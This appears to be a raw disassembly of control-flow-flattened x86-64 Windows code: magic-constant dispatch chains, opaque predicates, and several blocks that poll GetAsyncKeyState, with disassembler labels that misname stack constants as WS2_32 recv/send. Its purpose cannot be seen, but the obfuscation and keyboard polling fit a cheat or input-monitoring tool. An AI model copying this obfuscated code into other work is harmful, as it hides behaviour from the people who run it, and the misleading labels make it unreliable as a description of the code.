cmp eax, 0x1d83b47
jle 0x1404afb5e
cmp eax, 0x31385e0
jg 0x1404b031e
cmp eax, 0x2de8c5b
jle 0x1404b15a1
cmp eax, 0x2de8c5c
je 0x1404b18af
cmp eax, 0x2f6fa11
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f1831eb
mov ecx, 0xf6610ab6
jmp 0x1404ac530
cmp eax, 0x8277d0a2
jg 0x1404afb94
cmp eax, 0x8197954b
jg 0x1404b0369
cmp eax, 0x806c9216
je 0x1404b18cf
cmp eax, 0x80bf9c21
je 0x1404b18fb
cmp eax, 0x8184c339
jne 0x1404ac53d
cmp byte [rbp + 0x1ef], 0
mov eax, 0x82d87973
mov ecx, 0x3195c710
cmovne eax, ecx
jmp 0x1404ac53d
cmp eax, 0x3c147666
jg 0x1404afbde
cmp eax, 0x3b62006a
jg 0x1404b039e
cmp eax, 0x3a9b69f7
je 0x1404b192c
cmp eax, 0x3ae010ea
je 0x1404b1936
cmp eax, 0x3afe76fe
jne 0x1404ac53d
mov eax, 0x3c487255
jmp 0x1404ac53d
cmp eax, 0xb88d02f7
jg 0x1404afc14
cmp eax, 0xb8209f20
jg 0x1404b03dd
cmp eax, 0xb4c7745e
je 0x1404b1940
cmp eax, 0xb5a91be0
je 0x1404b1960
cmp eax, 0xb7179975
jne 0x1404ac53d
mov eax, 0xdb91c891
jmp 0x1404ac53d
cmp eax, 0x1a6ee6de
jg 0x1404afc5e
cmp eax, 0x1918fadb
jg 0x1404b041c
cmp eax, 0x187bfa42
je 0x1404b19a0
cmp eax, 0x18f2482e
je 0x1404b19be
cmp eax, 0x190c94aa
jne 0x1404ac53d
mov rdx, qword [rbp - 0x50]
sub rsp, 0x20
lea rcx, [0x140ae7aa0]
call fcn.1404a7990
add rsp, 0x20
movss xmm0, dword [0x140ae7aa0]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x712871f8
nop word cs:[rax + rax]
cmp eax, 0x712871f8
je 0x1404af123
cmp eax, 0x77be9b2c
jne 0x1404af110
jmp 0x1404b310c
mov eax, 0x77be9b2c
jmp 0x1404af110
cmp eax, 0x9ca7a108
jg 0x1404afca3
cmp eax, 0x9a53d2d4
jg 0x1404b0456
cmp eax, 0x9776a89c
je 0x1404b316a
cmp eax, 0x999cba4e
je 0x1404b3194
cmp eax, 0x99e5a02c
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4bb5630c
mov ecx, 0xf7516f67
jmp 0x1404ac530
cmp eax, 0x600241f5
jg 0x1404afcd9
cmp eax, 0x5ec21e4b
jg 0x1404b0488
cmp eax, 0x5ae28c0b
je 0x1404b31a8
cmp eax, 0x5d2d5cf5
je 0x1404b31b3
cmp eax, 0x5d7fc41b
jne 0x1404ac53d
mov eax, 0xd3e3a4ca
jmp 0x1404ac53d
cmp eax, 0xdd5738e5
jg 0x1404afd23
cmp eax, 0xdab628de
jg 0x1404b04b9
cmp eax, 0xd9e3376b
je 0x1404b31cf
cmp eax, 0xda32281a
je 0x1404b31e1
cmp eax, 0xdaa65111
jne 0x1404ac53d
mov eax, dword [rbp + 0x13c]
lea eax, [rax + rax*4]
add eax, dword [rbp + 0x1c8]
shl eax, 2
cdqe
mov qword [rbp - 0x68], rax
mov eax, 0xf020e32d
jmp 0x1404ac53d
cmp eax, 0xbdff880
jg 0x1404afd6d
cmp eax, 0x77ad203
jg 0x1404b04e8
cmp eax, 0x67fd7da
je 0x1404b31fc
cmp eax, 0x691a056
je 0x1404b3318
cmp eax, 0x7021a0e
jne 0x1404ac53d
mov dword [rbp + 0xac], 0
mov al, byte [rbp + 0x29f]
jmp 0x1404b8bab
cmp eax, 0x8f0a905d
jg 0x1404afda3
cmp eax, 0x8d9f5310
jg 0x1404b0527
cmp eax, 0x8bc56f1b
je 0x1404b3322
cmp eax, 0x8be508d1
je 0x1404b333b
cmp eax, 0x8c1573e4
jne 0x1404ac53d
mov al, byte [rbp + 0x2a9]
mov byte [rbp + 0x2d2], al
test byte [rbp + 0x2d2], 1
mov eax, 0xfc18ba
mov ecx, 0x90bf92e1
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0x4bb5630b
jg 0x1404afde0
cmp eax, 0x499da08f
jg 0x1404b0552
cmp eax, 0x47a6a9f9
je 0x1404b3345
cmp eax, 0x487f9b1d
je 0x1404b3363
cmp eax, 0x49654989
jne 0x1404ac53d
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.1403de590
mov r10d, 0xee54680f
add rsp, 0x20
mov rax, qword [rbp + 0x60]
mov rax, qword [rax]
mov qword [0x140ae7a28], rax
mov rax, qword [rbp + 0x60]
cmp byte [0x140ae7d43], 0
mov eax, 0x87dd8a7c
mov ecx, 0x904dd28a
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0xccb9860f
jg 0x1404b0591
cmp eax, 0xcb27aafe
je 0x1404b4adf
cmp eax, 0xcb81428a
je 0x1404b4afd
cmp eax, 0xcc1725d3
jne 0x1404ac53d
mov eax, 0x18f2482e
jmp 0x1404ac53d
cmp eax, 0x2aa366c9
jg 0x1404b05cb
cmp eax, 0x25cf9c88
je 0x1404b4b1b
cmp eax, 0x2728fe49
je 0x1404b4b31
cmp eax, 0x2a0ce9d7
jne 0x1404ac53d
mov eax, 0x9cf3e6ae
jmp 0x1404ac53d
cmp eax, 0xa99fc9cb
jg 0x1404b06b0
cmp eax, 0xa73499af
je 0x1404b4b8c
cmp eax, 0xa85e7457
je 0x1404b4baa
cmp eax, 0xa94602c1
jne 0x1404ac53d
mov dword [0x140ae7d74], 6
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x75db7a63
mov ecx, 0xad85afd1
jmp 0x1404ac530
cmp eax, 0x733ac03d
jg 0x1404b06e5
cmp eax, 0x714452e1
je 0x1404b4bb4
cmp eax, 0x7277bed9
je 0x1404b4bc7
cmp eax, 0x729a5f2d
jne 0x1404ac53d
cmp byte [rbp + 0x1f9], 0
mov eax, 0x1e0c1057
mov ecx, 0x600241f6
cmovne eax, ecx
jmp 0x1404ac53d
cmp eax, 0xeb00984e
jg 0x1404b072a
cmp eax, 0xe9db6137
je 0x1404b4bd1
cmp eax, 0xe9ddce06
je 0x1404b4bef
cmp eax, 0xea69e4a0
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2aa366ca
mov ecx, 0x161c794a
jmp 0x1404ac530
cmp eax, 0xf8c6beb3
jg 0x1404b081f
cmp eax, 0xf82249f5
je 0x1404b4c0d
cmp eax, 0xf876f7d8
je 0x1404b4c4d
cmp eax, 0xf8b1e38e
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5d2d5cf5
mov ecx, 0xff1ec908
jmp 0x1404ac530
cmp eax, 0x8585a6a8
jg 0x1404b0860
cmp eax, 0x83d64b63
je 0x1404b4c6b
cmp eax, 0x841ab3f7
je 0x1404b4ccc
cmp eax, 0x856b9d57
jne 0x1404ac53d
mov al, byte [0x140ae7d40]
mov byte [rbp + 0x2a6], al
mov eax, 0x91f55660
jmp 0x1404ac53d
cmp eax, 0x430e4381
jg 0x1404b095c
cmp eax, 0x420388e9
je 0x1404b4ce4
cmp eax, 0x423569e8
je 0x1404b4cf3
cmp eax, 0x42a61c3d
jne 0x1404ac53d
mov eax, 0x691a056
jmp 0x1404ac53d
cmp eax, 0xbfb4b73d
jg 0x1404b09a5
cmp eax, 0xbc0d848d
je 0x1404b4d0c
cmp eax, 0xbc4e403a
je 0x1404b4d22
cmp eax, 0xbf879f4e
jne 0x1404ac53d
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
ucomiss xmm12, dword [0x140ae79b8]
mov qword [rbp + 0x90], rax
mov eax, 0xa21baee8
mov ecx, 0x21b508c9
cmovae eax, ecx
cmp qword [0x140ae76e8], 0
cmove eax, ecx
cmp dword [0x140ae79e0], 0
cmovle eax, ecx
jmp 0x1404ac53d
cmp eax, 0x1fcd57ad
jg 0x1404b09df
cmp eax, 0x1e63de27
je 0x1404b4d2c
cmp eax, 0x1efe071e
je 0x1404b4dea
cmp eax, 0x1f08d729
jne 0x1404ac53d
mov eax, 0x3b8055a6
jmp 0x1404ac53d
cmp eax, 0xa1848b29
jg 0x1404b0a0a
cmp eax, 0x9eedcd92
je 0x1404b4df4
cmp eax, 0x9f17f17c
je 0x1404b4e0a
cmp eax, 0x9f1831eb
jne 0x1404ac53d
mov eax, 0x2f6fa11
jmp 0x1404ac53d
cmp eax, 0x68a217ef
jg 0x1404b0a51
cmp eax, 0x6712d84b
je 0x1404b4e1e
cmp eax, 0x67d69fbe
je 0x1404b4eef
cmp eax, 0x68160be6
jne 0x1404ac53d
mov eax, 0x2de8c5c
jmp 0x1404ac53d
cmp eax, 0xe3581163
jg 0x1404b0a91
cmp eax, 0xe162120e
je 0x1404b4f03
cmp eax, 0xe1a84b5e
je 0x1404b4f17
cmp eax, 0xe22a85d0
jne 0x1404ac53d
mov eax, dword [rbp + 0x2f4]
add eax, 1
mov dword [rbp + 0x28], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb5a91be0
mov ecx, 0xce706530
jmp 0x1404ac530
cmp eax, 0x10aaebf8
jg 0x1404b0b0c
cmp eax, 0xf356200
je 0x1404b4f37
cmp eax, 0xf850493
je 0x1404b4f52
cmp eax, 0x1073f01e
jne 0x1404ac53d
movapd xmm6, xmm8
mov eax, 0x7b0319cf
jmp 0x1404ac53d
cmp eax, 0x92ddc6a0
jg 0x1404b0b4b
cmp eax, 0x91c813e8
je 0x1404b4f5c
cmp eax, 0x91f55660
je 0x1404b4f66
cmp eax, 0x922a7cd1
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4fc81476
mov ecx, 0x190c94aa
jmp 0x1404ac530
cmp eax, 0x53f7f4ca
jg 0x1404b0b80
cmp eax, 0x525b1dc5
je 0x1404b4f84
cmp eax, 0x528f4f5a
je 0x1404b4fa2
cmp eax, 0x530c6149
jne 0x1404ac53d
mov ecx, dword [0x140ae7d74]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
mov eax, 0xe3ce2a01
jmp 0x1404ac53d
cmp eax, 0xd2ae0fb2
jg 0x1404b0c7c
cmp eax, 0xd163c9e2
je 0x1404b4fb6
cmp eax, 0xd246adbc
je 0x1404b4fc0
cmp eax, 0xd25f9357
jne 0x1404ac53d
mov dword [0x140ae7d78], 1
mov eax, 0xddb0d242
jmp 0x1404ac53d
cmp eax, 0x33d087ce
jg 0x1404b0cc7
cmp eax, 0x3195c710
je 0x1404b4ff6
cmp eax, 0x320fb181
je 0x1404b5014
cmp eax, 0x3314a20b
jne 0x1404ac53d
mov eax, dword [rbp + 0x254]
imul eax, dword [rbp + 0x250]
add eax, dword [rbp + 0x1e0]
shl eax, 2
mov ecx, dword [0x140ae9598]
mov edx, dword [0x140ae959c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0x310]
cmp edx, 0xa
setl dl
setl byte [rbp + 0x328]
or dl, cl
mov edi, 0xa8c27510
mov ecx, 0x35386b72
cmovne edi, ecx
movsxd r8, eax
mov edx, 0xa8c27510
mov eax, 0x3f062a22
cmovne edx, eax
mov ebx, 0xf17d613c
mov eax, 0x3d6fccc5
cmovne ebx, eax
mov eax, 0x8487924
jmp 0x1404af8a0
mov rax, qword [rbp + 0x320]
mov eax, 0x3f062a22
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x8487923
jle 0x1404af8e0
cmp eax, 0x35386b71
jle 0x1404af910
cmp eax, 0x3d6fccc5
je 0x1404af94c
cmp eax, 0x3f062a22
jne 0x1404af990
mov rax, qword [rbp + 0x320]
add rax, r8
mov qword [rbp + 0x2d8], rax
mov eax, edi
jmp 0x1404af8a0
cmp eax, 0xbfd0128d
jg 0x1404af930
cmp eax, 0xa8c27510
je 0x1404af886
cmp eax, 0xa9be2338
jne 0x1404af8a0
mov rax, qword [rbp + 0x338]
mov rax, qword [rax]
mov qword [rbp + 0x320], rax
mov eax, 0x2f542625
jmp 0x1404af8a0
cmp eax, 0x8487924
je 0x1404af956
cmp eax, 0x2f542625
jne 0x1404af8a0
mov eax, edx
jmp 0x1404af8a0
cmp eax, 0xbfd0128e
je 0x1404af97b
cmp eax, 0xf17d613c
jne 0x1404af8a0
mov eax, 0xbfd0128e
jmp 0x1404af8a0
mov eax, 0xa9be2338
jmp 0x1404af8a0
movzx ecx, byte [rbp + 0x310]
cmp byte [rbp + 0x328], 0
mov eax, 0xf17d613c
mov esi, 0xbfd0128e
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x1404af8a0
lea rax, [0x140ae7ab8]
mov qword [rbp + 0x338], rax
mov eax, ebx
jmp 0x1404af8a0
cmp eax, 0x35386b72
jne 0x1404af8a0
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov al, byte [rax]
mov byte [rbp + 0x1f8], al
mov eax, 0x49bc9df7
jmp 0x1404b9d26
cmp eax, 0xae84c91a
jg 0x1404b0d06
cmp eax, 0xad85afd1
je 0x1404b5032
cmp eax, 0xadb496d0
je 0x1404b503c
cmp eax, 0xadcdbdc6
jne 0x1404ac53d
mov eax, 0xb183e585
jmp 0x1404ac53d
cmp eax, 0x791626cb
jg 0x1404b0d45
cmp eax, 0x77bb594d
je 0x1404b50ba
cmp eax, 0x784c86a0
je 0x1404b50c4
cmp eax, 0x7851723a
jne 0x1404ac53d
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0xc8], eax
mov al, byte [rbp + 0x2fb]
mov dword [rbp + 0x128], eax
mov eax, 0xae84c91b
jmp 0x1404ac53d
cmp eax, 0xf187581b
jg 0x1404b0d8c
cmp eax, 0xf0af83d7
je 0x1404b50ce
cmp eax, 0xf1189587
je 0x1404b50ea
cmp eax, 0xf1611b5e
jne 0x1404ac53d
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd8], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x108], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd0], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x100], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, 0xbf879f4e
jmp 0x1404ac53d
cmp eax, 0xffffb0e8
jg 0x1404b0dcb
cmp eax, 0xfef17c6b
je 0x1404b5103
cmp eax, 0xff1ec908
je 0x1404b5121
cmp eax, 0xff243699
jne 0x1404ac53d
mov eax, 0x841ab3f7
jmp 0x1404ac53d
cmp eax, 0x8338285b
jg 0x1404b0e13
cmp eax, 0x8277d0a3
je 0x1404b514b
cmp eax, 0x82d87973
je 0x1404b5155
cmp eax, 0x82ddc481
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf0af83d7
mov ecx, 0x514a50e7
jmp 0x1404ac530
cmp eax, 0x3f3f51ce
jg 0x1404b0e3e
cmp eax, 0x3c147667
je 0x1404b51ba
cmp eax, 0x3c487255
je 0x1404b51d5
cmp eax, 0x3f3a704d
jne 0x1404ac53d
mov eax, 0x30891d07
jmp 0x1404ac53d
cmp eax, 0xb9b1551c
jg 0x1404b0e69
cmp eax, 0xb88d02f8
je 0x1404b51e9
cmp eax, 0xb8ae5029
je 0x1404b51f3
cmp eax, 0xb9aac0bf
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x733ac03e
mov ecx, 0x15a20b9e
jmp 0x1404ac530
cmp eax, 0x1d16c9d7
jg 0x1404b0e9d
cmp eax, 0x1a6ee6df
je 0x1404b51fd
cmp eax, 0x1a7da90e
je 0x1404b5213
cmp eax, 0x1b93c969
jne 0x1404ac53d
cmp dword [rbp + 0x14c], 0
mov eax, 0xbbc7f4d0
mov ecx, 0x999cba4e
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0x9d333123
jg 0x1404b0ec9
cmp eax, 0x9ca7a109
je 0x1404b5231
cmp eax, 0x9cdc77eb
je 0x1404b5245
cmp eax, 0x9cf3e6ae
jne 0x1404ac53d
mov eax, 0xb7179975
jmp 0x1404ac53d
cmp eax, 0x62207867
jg 0x1404b0fbf
cmp eax, 0x600241f6
je 0x1404b525b
cmp eax, 0x60258d90
je 0x1404b5265
cmp eax, 0x6202b328
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x16c27ffe
mov ecx, 0xa85e7457
jmp 0x1404ac530
cmp eax, 0xde5baf99
jg 0x1404b10bf
cmp eax, 0xdd5738e6
je 0x1404b526f
cmp eax, 0xddb0d242
je 0x1404b52b4
cmp eax, 0xde162d41
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6bc17eaa
mov ecx, 0x9d333124
jmp 0x1404ac530
cmp eax, 0xd503e28
jg 0x1404b10ea
cmp eax, 0xbdff881
je 0x1404b52dc
cmp eax, 0xcb8e7bb
je 0x1404b52f2
cmp eax, 0xce5f8f8
jne 0x1404ac53d
mov eax, 0xd0ab906c
jmp 0x1404ac53d
cmp eax, 0x904dd289
jg 0x1404b1115
cmp eax, 0x8f0a905e
je 0x1404b5310
cmp eax, 0x8fac6c43
je 0x1404b531a
cmp eax, 0x9027d2c7
jne 0x1404ac53d
cmp byte [0x140ae7d41], 0
mov eax, 0xbbeb9d4e
jmp 0x1404b0199
cmp eax, 0x4f02d0f9
jg 0x1404b114f
cmp eax, 0x4bb5630c
je 0x1404b5338
cmp eax, 0x4bcea3b0
je 0x1404b5342
cmp eax, 0x4bd9a6f2
jne 0x1404ac53d
mov eax, 0xf876f7d8
jmp 0x1404ac53d
cmp eax, 0xce5323b5
je 0x1404b534d
cmp eax, 0xce706530
je 0x1404b53ab
cmp eax, 0xcec0c919
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce5323b5
mov ecx, 0xd009c291
jmp 0x1404ac530
cmp eax, 0x2ccf8084
je 0x1404b53b5
cmp eax, 0x2d952b94
je 0x1404b53e8
cmp eax, 0x2e1366ef
jne 0x1404ac53d
mov dword [rbp + 0xc0], 0
mov al, byte [rbp + 0x2a4]
mov byte [rbp + 0x2b2], al
mov eax, 0x58220e87
jmp 0x1404ac53d
cmp eax, 0xaa79a98e
je 0x1404b53fc
cmp eax, 0xaaa0b91d
je 0x1404b541a
cmp eax, 0xabd53c6e
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x586c4847
mov ecx, 0xc8ad6a68
jmp 0x1404ac530
cmp eax, 0x746c9905
je 0x1404b5424
cmp eax, 0x753a5e78
je 0x1404b543d
cmp eax, 0x75db7a63
jne 0x1404ac53d
mov dword [0x140ae7d74], 6
mov eax, 0xa94602c1
jmp 0x1404ac53d
cmp eax, 0xec15e2f5
je 0x1404b545b
cmp eax, 0xec78d608
je 0x1404b5479
cmp eax, 0xedd0feab
jne 0x1404ac53d
mov eax, dword [0x140ae7d58]
mov dword [rbp + 0x200], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91c813e8
mov ecx, 0x7277bed9
jmp 0x1404ac530
cmp eax, 0xf989bb98
je 0x1404b5489
cmp eax, 0xfa3d8477
je 0x1404b54a7
cmp eax, 0xfa94a3eb
jne 0x1404ac53d
cmp byte [rbp + 0x1eb], 0
mov eax, 0x8585a6a9
mov ecx, 0x1342122b
cmovne eax, ecx
mov ecx, dword [rbp + 0xa0]
mov dword [rbp + 0x11c], ecx
jmp 0x1404ac53d
cmp eax, 0x87d19386
je 0x1404b54da
cmp eax, 0x87dd8a7c
je 0x1404b54e4
cmp eax, 0x88ae34fb
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2d952b94
mov ecx, 0xf1992d03
jmp 0x1404ac530
cmp eax, 0x4449c1f1
je 0x1404b54fa
cmp eax, 0x451e20d9
je 0x1404b5513
cmp eax, 0x454b683d
jne 0x1404ac53d
mov eax, 0x10aaebf9
jmp 0x1404ac53d
cmp eax, 0xc3260e7b
je 0x1404b551d
cmp eax, 0xc4876763
je 0x1404b5536
cmp eax, 0xc5878267
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86cc4529
mov ecx, 0x575b18ee
jmp 0x1404ac530
cmp eax, 0x20d80677
je 0x1404b5551
cmp eax, 0x21428168
je 0x1404b556c
cmp eax, 0x21b508c9
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4bd9a6f2
mov ecx, 0xf876f7d8
jmp 0x1404ac530
cmp eax, 0xa2758080
je 0x1404b5598
cmp eax, 0xa4dc90a7
je 0x1404b6ba2
cmp eax, 0xa53937d7
jne 0x1404ac53d
cmp byte [0x140ae7a99], 0
setne byte [rbp + 0x1e8]
mov eax, 0x6ee15d46
jmp 0x1404ac53d
cmp eax, 0x6bc17eaa
je 0x1404b6bbb
cmp eax, 0x6caaabcd
je 0x1404b6bfb
cmp eax, 0x6cd4179a
jne 0x1404ac53d
cvttss2si eax, dword [rbp + 0x2c]
mov dword [0x140ae7ab0], eax
mov byte [rbp + 0x2ae], 1
mov dword [rbp + 0xbc], send
mov eax, 0x80bf9c21
jmp 0x1404ac53d
cmp eax, 0xe41465db
je 0x1404b6c26
cmp eax, 0xe4de7991
je 0x1404b6c3f
cmp eax, 0xe50b419f
jne 0x1404ac53d
mov eax, 0xaa79a98e
jmp 0x1404ac53d
cmp eax, 0x13ac5a52
je 0x1404b6c5d
cmp eax, 0x13db1f65
je 0x1404b6c67
cmp eax, 0x155927d0
jne 0x1404ac53d
mov eax, 0x9027d2c7
jmp 0x1404ac53d
cmp eax, 0x93ff4e56
je 0x1404b6c80
cmp eax, 0x9407bcf8
je 0x1404b6cb1
cmp eax, 0x94ac82fa
jne 0x1404ac53d
mov ecx, dword [rbp + 0x14]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
test ax, ax
mov eax, 0x456b0000
mov ecx, 0xb7179975
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0x58220e87
je 0x1404b6cda
cmp eax, 0x586c4847
je 0x1404b6d0b
cmp eax, 0x5885e36e
jne 0x1404ac53d
cmp byte [rbp + 0x1e9], 0
mov eax, 0xe1a84b5e
mov ecx, 0x9c93b394
cmovne eax, ecx
jmp 0x1404ac53d
cmp eax, 0xd5671a34
je 0x1404b6d1f
cmp eax, 0xd5888b56
je 0x1404b6d3d
cmp eax, 0xd5e01ea9
jne 0x1404ac53d
mov ecx, dword [0x140ae7d74]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
test ax, ax
setne byte [rbp + 0x1fa]
mov eax, 0xdab628df
jmp 0x1404ac53d
cmp eax, 0x35d66260
je 0x1404b6d51
cmp eax, 0x36c225af
je 0x1404b6d6a
cmp eax, 0x37563f93
jne 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
cmp eax, 0xb108c749
je 0x1404b6d74
cmp eax, 0xb183e585
je 0x1404b6da0
cmp eax, 0xb29a0560
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcfd65727
mov ecx, 0x9e0eee6c
jmp 0x1404ac530
cmp eax, 0x7c1ad295
je 0x1404b6dbe
cmp eax, 0x7c67bfc2
je 0x1404b6dc8
cmp eax, 0x7cac7fa0
jne 0x1404ac53d
mov al, byte [rbp + 0x2b1]
mov byte [rbp + 0x2d3], al
test byte [rbp + 0x2d3], 1
mov eax, 0xbdff881
mov ecx, 0xf8b1e38e
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0xf2cfc272
je 0x1404b6ec8
cmp eax, 0xf367ce44
je 0x1404b6f00
cmp eax, 0xf53037b4
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91c813e8
mov ecx, 0xedd0feab
jmp 0x1404ac530
cmp eax, 0x31385e1
je 0x1404b6f0a
cmp eax, 0x475d1dd
je 0x1404b6f1e
cmp eax, 0x48d0e0b
jne 0x1404ac53d
mov eax, dword [rbp + 0x120]
mov dword [rbp + 0x114], eax
mov eax, dword [rbp + 0x118]
or eax, dword [rbp + 0x114]
mov eax, 0xef79c302
mov ecx, 0x525b1dc5
cmovne eax, ecx
jmp 0x1404ac53d
cmp eax, 0x8197954c
je 0x1404b6f28
cmp eax, 0x8252c943
je 0x1404b6f52
cmp eax, 0x82620427
jne 0x1404ac53d
mov dword [0x140ae7d78], 2
mov eax, 0x77ad204
jmp 0x1404ac53d
cmp eax, 0x3b62006b
je 0x1404b6f70
cmp eax, 0x3b8055a6
je 0x1404b6f8f
cmp eax, 0x3bf30699
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x196a1b37
mov ecx, 0x8b96fad5
jmp 0x1404ac530
cmp eax, 0xb8209f21
je 0x1404b6fad
cmp eax, 0xb82f1427
je 0x1404b6fb7
cmp eax, 0xb880a485
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe50b419f
mov ecx, 0xaa79a98e
jmp 0x1404ac530
cmp eax, 0x1918fadc
je 0x1404b6fd0
cmp eax, 0x196a1b37
je 0x1404b6fda
cmp eax, 0x199bb39b
jne 0x1404ac53d
test byte [rbp + 0x1fb], 1
mov eax, 0xd5e01ea9
mov ecx, 0xb29a0560
cmove eax, ecx
jmp 0x1404ac53d
cmp eax, 0x9a53d2d5
je 0x1404b6fe4
cmp eax, 0x9afa24eb
je 0x1404b7002
cmp eax, 0x9c93b394
jne 0x1404ac53d
mov byte [0x140ae7a99], 1
mov eax, 0xe685f9d7
jmp 0x1404ac53d
cmp eax, 0x5ec21e4c
je 0x1404b700c
cmp eax, 0x5f28ebc6
je 0x1404b7025
cmp eax, 0x5f44dd24
jne 0x1404ac53d
mov al, byte [rbp + 0x2a6]
mov eax, 0x806c9216
jmp 0x1404ac53d
cmp eax, 0xdab628df
je 0x1404b7043
cmp eax, 0xdab94d19
je 0x1404b7061
cmp eax, 0xdb91c891
jne 0x1404ac53d
mov rax, qword [rbp - 0x48]
mov eax, 0xbc4e403a
jmp 0x1404ac53d
cmp eax, 0x77ad204
je 0x1404b7077
cmp eax, 0x81132a0
je 0x1404b709f
cmp eax, 0x85c9697
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ca7a109
mov ecx, 0x43c06f25
jmp 0x1404ac530
cmp eax, 0x8d9f5311
je 0x1404b70ad
cmp eax, 0x8dbda13b
je 0x1404b70c6
cmp eax, 0x8eaf9cb4
jne 0x1404ac53d
mov eax, 0xf53037b4
jmp 0x1404ac53d
cmp eax, 0x499da090
je 0x1404b70e4
cmp eax, 0x49bc9df7
je 0x1404b70f8
cmp eax, 0x4ae36a64
jne 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb44c9934
mov ecx, 0x39e9039f
jmp 0x1404ac530
cmp eax, 0xccb98610
je 0x1404b86f7
cmp eax, 0xcd60d215
je 0x1404b870b
cmp eax, 0xce04e003
